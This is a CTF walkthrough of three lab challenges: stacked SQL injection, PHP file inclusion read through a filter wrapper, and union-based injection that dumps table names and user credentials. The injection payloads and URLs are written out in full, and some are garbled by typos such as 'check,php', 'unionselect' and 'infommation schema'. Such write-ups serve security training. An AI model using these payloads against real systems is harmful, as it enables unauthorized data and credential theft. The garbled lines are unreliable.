[SUCTF 2019]EasySQL1
1.启动靶机
2.寻找注入点和注入方法
随便输入一个字母,没有回显
随便输入一个数字,发现有回显,并且回显结果一样
3.堆叠注入
1; show databases; #查看数据库
1; show tables; #查看数据表
里面有个flag
1;set sql_mode=PIPES_AS_CONCAT;select 1
1;:这个部分是一个 SQL 查询的结束符号。在 MySQL 中,分号用于结束 SQL 语句
set sql_mode=PIPES_AS_CONCAT;:是一个 SQL 语句,用于设置 MySQL 数据库的 SQL 模式为 PIPES_AS_CONCAT,这个设置可能是为了改变 SQL 的连接操作符行为,将竖线(|)视为字符串连接符而不是按位或运算符
select 1:一个简单的 SQL 查询,选择值为 1 的列
4.得到flag
[极客大挑战 2019]Secret File1
1.启动靶机
2.查看源码
右键查看源代码
右键查看源代码
并查看源代码
3.burp suite
利用抓包工具,抓取跳转的页面
发现一个secr3t.php
访问secr3t.php,提示放在了flag.php中
访问flag.php
4.代码分析
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>第12行代码中的include函数说明secr3t.php存在文件包含漏洞
第8行代码没有过滤filter,所以我们可以直接使用php伪协议读取flag.php
5.随波逐流base64解密
将得到的一堆base64放到随波逐流工具中进行解密
6.得到flag
[极客大挑战 2019]LoveSQL1
1.启动靶机
2.万能密码
用万能密码,用户是a' or true # ,这里我输的密码是123(可以输任何密码)
登录
F12,可以看到是以get方式传参
3.测试是否有注入点
http://f99a1e2d-3f5d-4aff-a8fc-404d75c9b59e.node5.buuoj.cn:81/check.php?username=1' order by 1%23&password=123
order by 4的时候报错
可以判断出有三个字段
4.寻找注入点
利用联合查询,寻找注入点
http://f99a1e2d-3f5d-4aff-a8fc-404d75c9b59e.node5.buuoicn:81/check,php?username=1'unionselect 1.2.3%23&password=123
说明注入点是2,3
5.注入
通过联合查询
http://f99a1e2d-3f5d-4aff-a8fc-404d75c9b59e.node5.buuoj.cn:81/check,php?usemame=1' union select 1,database(),3%23&password=123
得到一个名为geek的数据库
通过联合查询从数据库中获取表名的列表
http://f99a1e2d-3f5d-4aff-a8fc-404d75c9b59e.node5.buuoj.cn:81/check.php?username=1'union select 1,database(),group concat(table name) from infommation schema.tables wheretable schema=database()%23&password=123
获取敏感数据,包括用户表中的用户 ID、用户名和密码
http://f99a1e2d-3f5d-4aff-a8fc-404d75c9b59e.node5.buuoj.cn:81/check,php?usermame=1'union select1,database(),group concat(id,username,password) from l0ve1ysg1%23&password=123